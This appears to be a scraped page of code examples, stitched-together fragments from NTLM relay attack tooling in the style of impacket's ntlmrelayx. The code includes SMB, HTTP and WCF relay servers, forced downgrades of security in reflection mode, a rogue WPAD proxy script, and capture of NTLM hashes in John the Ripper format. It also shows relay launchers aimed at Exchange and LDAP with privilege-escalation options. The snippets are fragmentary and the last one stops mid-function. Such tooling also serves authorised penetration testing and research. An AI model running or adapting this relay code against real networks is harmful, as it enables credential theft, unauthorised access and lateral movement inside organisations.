Ejemplo n.º 1
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
                                                                                     self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
Ejemplo n.º 2
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        if self.config.disableMulti:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])

            self.target = self.targetprocessor.getTarget(multiRelay=False)
            if self.target is None:
                LOG.info(
                    'SMBD-%s: Connection from %s controlled, but there are no more targets left!'
                    % (connId, connData['ClientIP']))
                return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
                        ], None, STATUS_BAD_NETWORK_NAME

            LOG.info(
                "SMBD-%s: Received connection from %s, attacking target %s://%s"
                % (connId, connData['ClientIP'], self.target.scheme,
                   self.target.netloc))

            try:
                if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                    extSec = False
                else:
                    if self.config.mode.upper() == 'REFLECTION':
                        # Force standard security when doing reflection
                        LOG.debug("Downgrading to standard security")
                        extSec = False
                        recvPacket['Flags2'] += (
                            ~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                    else:
                        extSec = True

                # Init the correct client for our target
                client = self.init_client(extSec)
            except Exception as e:
                LOG.error("Connection against target %s://%s FAILED: %s" %
                          (self.target.scheme, self.target.netloc, str(e)))
                self.targetprocessor.logTarget(self.target)
            else:
                connData['SMBClient'] = client
                connData[
                    'EncryptionKey'] = client.getStandardSecurityChallenge()
                smbServer.setConnectionData(connId, connData)

        else:
            if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand,
                                        recvPacket)
Ejemplo n.º 3
0
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus = False)
        if self.config.mode.upper() == 'REFLECTION':
            self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])

        #TODO: Check if a cache is better because there is no way to know which target was selected for this victim
        # except for relying on the targetprocessor selecting the same target unless a relay was already done
        self.target = self.targetprocessor.getTarget()

        LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'],
                                                                                     self.target.scheme, self.target.netloc))

        try:
            if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0:
                extSec = False
            else:
                if self.config.mode.upper() == 'REFLECTION':
                    # Force standard security when doing reflection
                    LOG.debug("Downgrading to standard security")
                    extSec = False
                    recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
                else:
                    extSec = True

            #Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
        def __init__(self, request, client_address, server):
            self.server = server
            self.challengeMessage = None
            self.target = None
            self.client = None
            self.machineAccount = None
            self.machineHashes = None
            self.domainIp = None
            self.authUser = None

            if self.server.config.target is None:
                # Reflection mode, defaults to SMB at the target, for now
                self.server.config.target = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % client_address[0])
            self.target = self.server.config.target.getTarget()
            if self.target is None:
                LOG.info(
                    "WCF: Received connection from %s, but there are no more targets left!"
                    % client_address[0])
                return
            LOG.info(
                "WCF: Received connection from %s, attacking target %s://%s" %
                (client_address[0], self.target.scheme, self.target.netloc))

            socketserver.BaseRequestHandler.__init__(self, request,
                                                     client_address, server)
Ejemplo n.º 5
0
 def __init__(self, request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.target = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.relayToHost = False
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||' \
                 '(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; ' \
                 'return "PROXY %s:80; DIRECT";} '
     if self.server.config.mode != 'REDIRECT':
         if self.server.config.target is None:
             # Reflection mode, defaults to SMB at the target, for now
             self.server.config.target = TargetsProcessor(
                 singleTarget='SMB://%s:445/' % client_address[0])
     try:
         http.server.SimpleHTTPRequestHandler.__init__(
             self, request, client_address, server)
     except Exception as e:
         LOG.debug("Exception:", exc_info=True)
         LOG.error(str(e))
Ejemplo n.º 6
0
 def __init__(self, request, client_address, server):
     self.server = server
     self.protocol_version = 'HTTP/1.1'
     self.challengeMessage = None
     self.target = None
     self.client = None
     self.machineAccount = None
     self.machineHashes = None
     self.domainIp = None
     self.authUser = None
     self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} '
     if self.server.config.mode != 'REDIRECT':
         if self.server.config.target is None:
             # Reflection mode, defaults to SMB at the target, for now
             self.server.config.target = TargetsProcessor(
                 singleTarget='SMB://%s:445/' % client_address[0])
         self.target = self.server.config.target.getTarget(
             self.server.config.randomtargets)
         LOG.info(
             "HTTPD: Received connection from %s, attacking target %s://%s"
             % (client_address[0], self.target.scheme,
                self.target.netloc))
     try:
         SimpleHTTPServer.SimpleHTTPRequestHandler.__init__(
             self, request, client_address, server)
     except Exception, e:
         LOG.error(str(e))
         LOG.debug(traceback.format_exc())
Ejemplo n.º 7
0
def startServers(targetURL,
                 interface,
                 hashOutputFile=None,
                 serverIP="127.0.0.1",
                 serverPort=8000):
    PoppedDB = Manager().dict()  # A dict of PoppedUsers
    PoppedDB_Lock = Lock()  # A lock for opening the dict

    relayServers = (SMBRelayServer, HTTPRelayServer)
    serverThreads = []

    C_Attack = {"HTTPS": ExchangePlugin}
    for server in relayServers:
        c = NTLMRelayxConfig()
        c.setProtocolClients({"HTTPS": HTTPSRelayClient})
        c.setTargets(TargetsProcessor(singleTarget=str(targetURL + "/")))
        c.setOutputFile(hashOutputFile)
        c.setMode('RELAY')
        c.setAttacks(C_Attack)
        c.setInterfaceIp(interface)
        c.PoppedDB = PoppedDB  # pass the poppedDB to the relay servers
        c.PoppedDB_Lock = PoppedDB_Lock  # pass the poppedDB to the relay servers
        s = server(c)
        s.start()
        serverThreads.append(s)
    logging.info("Relay servers started")

    # Now start the WebUI on 127.0.0.1:8000
    owa = Thread(target=OWAServer.runServer,
                 args=(
                     serverIP,
                     serverPort,
                     PoppedDB,
                     PoppedDB_Lock,
                 ))
    owa.daemon = True
    owa.start()

    try:
        while owa.isAlive():
            pass
    except KeyboardInterrupt, e:
        logging.info("Shutting down...")
        for thread in serverThreads:
            thread.server.shutdown()
Ejemplo n.º 8
0
def startServers(passargs):
    targetSystem = passargs.target_host
    privuser = passargs.user
    PoppedDB = Manager().dict()  # A dict of PoppedUsers
    PoppedDB_Lock = Lock()  # A lock for opening the dict
    relayServers = (SMBRelayServer, HTTPRelayServer)
    serverThreads = []
    for server in relayServers:
        c = NTLMRelayxConfig()
        c.setProtocolClients(PROTOCOL_CLIENTS)
        c.setTargets(
            TargetsProcessor(singleTarget=str("ldap://" + targetSystem),
                             protocolClients=PROTOCOL_CLIENTS))
        c.setOutputFile(None)
        c.setEncoding('ascii')
        c.setMode('RELAY')
        c.setAttacks(PROTOCOL_ATTACKS)
        c.setLootdir('.')
        c.setInterfaceIp("0.0.0.0")
        c.setLDAPOptions(True, True, True, privuser)
        c.PoppedDB = PoppedDB  # pass the poppedDB to the relay servers
        c.PoppedDB_Lock = PoppedDB_Lock  # pass the poppedDB to the relay servers
        s = server(c)
        s.start()
        serverThreads.append(s)
    logging.info("Relay servers started, waiting for connection....")
    status = exploit(passargs)
    if status:
        exp = Thread(target=gethash, args=(passargs, ))
        exp.daemon = True
        exp.start()
        try:
            while exp.isAlive():
                pass
        except KeyboardInterrupt, e:
            logging.info("Shutting down...")
            for thread in serverThreads:
                thread.server.shutdown()
    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        resp = smb.NewSMBPacket()
        resp['Flags1'] = smb.SMB.FLAGS1_REPLY
        resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | \
                         recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE

        resp['Tid'] = recvPacket['Tid']
        resp['Mid'] = recvPacket['Mid']
        resp['Pid'] = connData['Pid']

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX)
        respParameters = smb.SMBTreeConnectAndXResponse_Parameters()
        respData = smb.SMBTreeConnectAndXResponse_Data()

        treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(
            SMBCommand['Parameters'])

        if treeConnectAndXParameters['Flags'] & 0x8:
            respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters(
            )

        treeConnectAndXData = smb.SMBTreeConnectAndX_Data(
            flags=recvPacket['Flags2'])
        treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters[
            'PasswordLength']
        treeConnectAndXData.fromString(SMBCommand['Data'])

        ## Process here the request, does the share exist?
        UNCOrShare = decodeSMBString(recvPacket['Flags2'],
                                     treeConnectAndXData['Path'])

        # Is this a UNC?
        if ntpath.ismount(UNCOrShare):
            path = UNCOrShare.split('\\')[3]
        else:
            path = ntpath.basename(UNCOrShare)

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED
        resp['ErrorCode'] = errorCode >> 16
        resp['_reserved'] = 0o3
        resp['ErrorClass'] = errorCode & 0xff

        if path == 'IPC$':
            respData['Service'] = 'IPC'
        else:
            respData['Service'] = path
        respData['PadLen'] = 0
        respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'],
                                                       'NTFS')

        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        resp['Uid'] = connData['Uid']
        resp.addCommand(respSMBCommand)
        smbServer.setConnectionData(connId, connData)

        return None, [resp], errorCode
Ejemplo n.º 10
0
class SMBRelayServer(Thread):
    def __init__(self, config):
        Thread.__init__(self)
        self.daemon = True
        self.server = 0
        #Config object
        self.config = config
        #Current target IP
        self.target = None
        #Targets handler
        self.targetprocessor = self.config.target
        #Username we auth as gets stored here later
        self.authUser = None
        self.proxyTranslator = None

        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global', 'server_name', 'server_name')
        smbConfig.set('global', 'server_os', 'UNIX')
        smbConfig.set('global', 'server_domain', 'WORKGROUP')
        smbConfig.set('global', 'log_file', 'smb.log')
        smbConfig.set('global', 'credentials_file', '')

        if self.config.smb2support is True:
            smbConfig.set("global", "SMB2Support", "True")
        else:
            smbConfig.set("global", "SMB2Support", "False")

        if self.config.outputFile is not None:
            smbConfig.set('global', 'jtr_dump_path', self.config.outputFile)

        if self.config.SMBServerChallenge is not None:
            smbConfig.set('global', 'challenge',
                          self.config.SMBServerChallenge)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$', 'comment', '')
        smbConfig.set('IPC$', 'read only', 'yes')
        smbConfig.set('IPC$', 'share type', '3')
        smbConfig.set('IPC$', 'path', '')

        # Change address_family to IPv6 if this is configured
        if self.config.ipv6:
            SMBSERVER.address_family = socket.AF_INET6

        # changed to dereference configuration interfaceIp
        if self.config.listeningPort:
            smbport = self.config.listeningPort
        else:
            smbport = 445

        self.server = SMBSERVER((config.interfaceIp, smbport),
                                config_parser=smbConfig)
        logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL)

        self.server.processConfigFile()

        self.origSmbComNegotiate = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_NEGOTIATE, self.SmbComNegotiate)
        self.origSmbSessionSetupAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_SESSION_SETUP_ANDX, self.SmbSessionSetupAndX)
        self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(
            smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX)

        self.origSmbNegotiate = self.server.hookSmb2Command(
            smb3.SMB2_NEGOTIATE, self.SmbNegotiate)
        self.origSmbSessionSetup = self.server.hookSmb2Command(
            smb3.SMB2_SESSION_SETUP, self.SmbSessionSetup)
        self.origsmb2TreeConnect = self.server.hookSmb2Command(
            smb3.SMB2_TREE_CONNECT, self.smb2TreeConnect)
        # Let's use the SMBServer Connection dictionary to keep track of our client connections as well
        #TODO: See if this is the best way to accomplish this

        # changed to dereference configuration interfaceIp
        self.server.addConnection('SMBRelay', config.interfaceIp, 445)

    ### SMBv2 Part #################################################################
    def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = smb3.SMB2_NEGOTIATE
        respPacket['SessionID'] = 0

        if isSMB1 is False:
            respPacket['MessageID'] = recvPacket['MessageID']
        else:
            respPacket['MessageID'] = 0

        respPacket['TreeID'] = 0

        respSMBCommand = smb3.SMB2Negotiate_Response()

        # Just for the Nego Packet, then disable it
        respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED

        if isSMB1 is True:
            # Let's first parse the packet to see if the client supports SMB2
            SMBCommand = smb.SMBCommand(recvPacket['Data'][0])

            dialects = SMBCommand['Data'].split(b'\x02')
            if b'SMB 2.002\x00' in dialects or b'SMB 2.???\x00' in dialects:
                respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
                #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
            else:
                # Client does not support SMB2 fallbacking
                raise Exception('Client does not support SMB2, fallbacking')
        else:
            respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
            #respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21

        respSMBCommand['ServerGuid'] = b(''.join(
            [random.choice(string.ascii_letters) for _ in range(16)]))
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaxTransactSize'] = 65536
        respSMBCommand['MaxReadSize'] = 65536
        respSMBCommand['MaxWriteSize'] = 65536
        respSMBCommand['SystemTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['ServerStartTime'] = getFileTime(
            calendar.timegm(time.gmtime()))
        respSMBCommand['SecurityBufferOffset'] = 0x80

        blob = SPNEGO_NegTokenInit()
        blob['MechTypes'] = [
            TypesMech[
                'NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
            TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
        ]

        respSMBCommand['Buffer'] = blob.getData()
        respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])

        respPacket['Data'] = respSMBCommand

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], STATUS_SUCCESS

    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            respCommands, respPackets, errorCode = self.origSmbSessionSetup(
                connId, smbServer, recvPacket)
            # We remove the Guest flag
            if 'SessionFlags' in respCommands[0].fields:
                respCommands[0]['SessionFlags'] = 0x00
            return respCommands, respPackets, errorCode

        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
            # NEGOTIATE packet
            blob = SPNEGO_NegTokenInit(securityBlob)
            token = blob['MechToken']
            if len(blob['MechTypes'][0]) > 0:
                # Is this GSSAPI NTLM or something else we don't support?
                mechType = blob['MechTypes'][0]
                if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                    # Nope, do we know it?
                    if mechType in MechTypes:
                        mechStr = MechTypes[mechType]
                    else:
                        mechStr = hexlify(mechType)
                    smbServer.log("Unsupported MechType '%s'" % mechStr,
                                  logging.CRITICAL)
                    # We don't know the token, we answer back again saying
                    # we just support NTLM.
                    respToken = SPNEGO_NegTokenResp()
                    respToken['NegState'] = b'\x03'  # request-mic
                    respToken['SupportedMech'] = TypesMech[
                        'NTLMSSP - Microsoft NTLM Security Support Provider']
                    respToken = respToken.getData()
                    respSMBCommand['SecurityBufferOffset'] = 0x48
                    respSMBCommand['SecurityBufferLength'] = len(respToken)
                    respSMBCommand['Buffer'] = respToken

                    return [respSMBCommand
                            ], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
            # AUTH packet
            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']
        else:
            # No GSSAPI stuff, raw NTLMSSP
            rawNTLM = True
            token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack(
            '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

            #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegState'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1, 0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                if self.config.remove_mic:
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, token,
                        connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, securityBlob,
                        connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error(
                    "Authenticating against %s://%s as %s FAILED" %
                    (self.target.scheme, self.target.netloc, self.authUser))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.info(
                    "Authenticating against %s://%s as %s SUCCEED" %
                    (self.target.scheme, self.target.netloc, self.authUser))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    connData['CHALLENGE_MESSAGE']['challenge'],
                    authenticateMessage['user_name'],
                    authenticateMessage['domain_name'],
                    authenticateMessage['lanman'], authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True
                del (connData['relayToHost'])

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegState'] = b'\x00'
            else:
                respToken = ''
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        if respSMBCommand['SecurityBufferLength'] > 0:
            respSMBCommand['Buffer'] = respToken.getData()
        else:
            respSMBCommand['Buffer'] = ''

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode

    def smb2TreeConnect(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']

        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmb2TreeConnect(connId, smbServer, recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                extSec = False
                #recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
            else:
                extSec = True
            # Init the correct client for our target
            client = self.init_client(extSec)
        except Exception as e:
            LOG.error("Connection against target %s://%s FAILED: %s" %
                      (self.target.scheme, self.target.netloc, str(e)))
            self.targetprocessor.logTarget(self.target)
        else:
            connData['relayToHost'] = True
            connData['Authenticated'] = False
            del (connData['NEGOTIATE_MESSAGE'])
            del (connData['CHALLENGE_MESSAGE'])
            del (connData['AUTHENTICATE_MESSAGE'])
            connData['SMBClient'] = client
            connData['EncryptionKey'] = client.getStandardSecurityChallenge()
            smbServer.setConnectionData(connId, connData)

        respPacket = smb3.SMB2Packet()
        respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
        respPacket['Status'] = STATUS_SUCCESS
        respPacket['CreditRequestResponse'] = 1
        respPacket['Command'] = recvPacket['Command']
        respPacket['SessionID'] = connData['Uid']
        respPacket['Reserved'] = recvPacket['Reserved']
        respPacket['MessageID'] = recvPacket['MessageID']
        respPacket['TreeID'] = recvPacket['TreeID']

        respSMBCommand = smb3.SMB2TreeConnect_Response()

        # This is the key, force the client to reconnect.
        # It will loop until all targets are processed for this user
        errorCode = STATUS_NETWORK_SESSION_EXPIRED

        respPacket['Status'] = errorCode
        respSMBCommand['Capabilities'] = 0
        respSMBCommand['MaximalAccess'] = 0x000f01ff

        respPacket['Data'] = respSMBCommand

        # Sign the packet if needed
        if connData['SignatureEnabled']:
            smbServer.signSMBv2(respPacket, connData['SigningSessionKey'])

        smbServer.setConnectionData(connId, connData)

        return None, [respPacket], errorCode

    ################################################################################

    ### SMBv1 Part #################################################################
    def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)
        if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0:
            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
                LOG.debug("Downgrading to standard security")
                recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)

        return self.origSmbComNegotiate(connId, smbServer, SMBCommand,
                                        recvPacket)
        #############################################################

    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand,
                                                recvPacket)

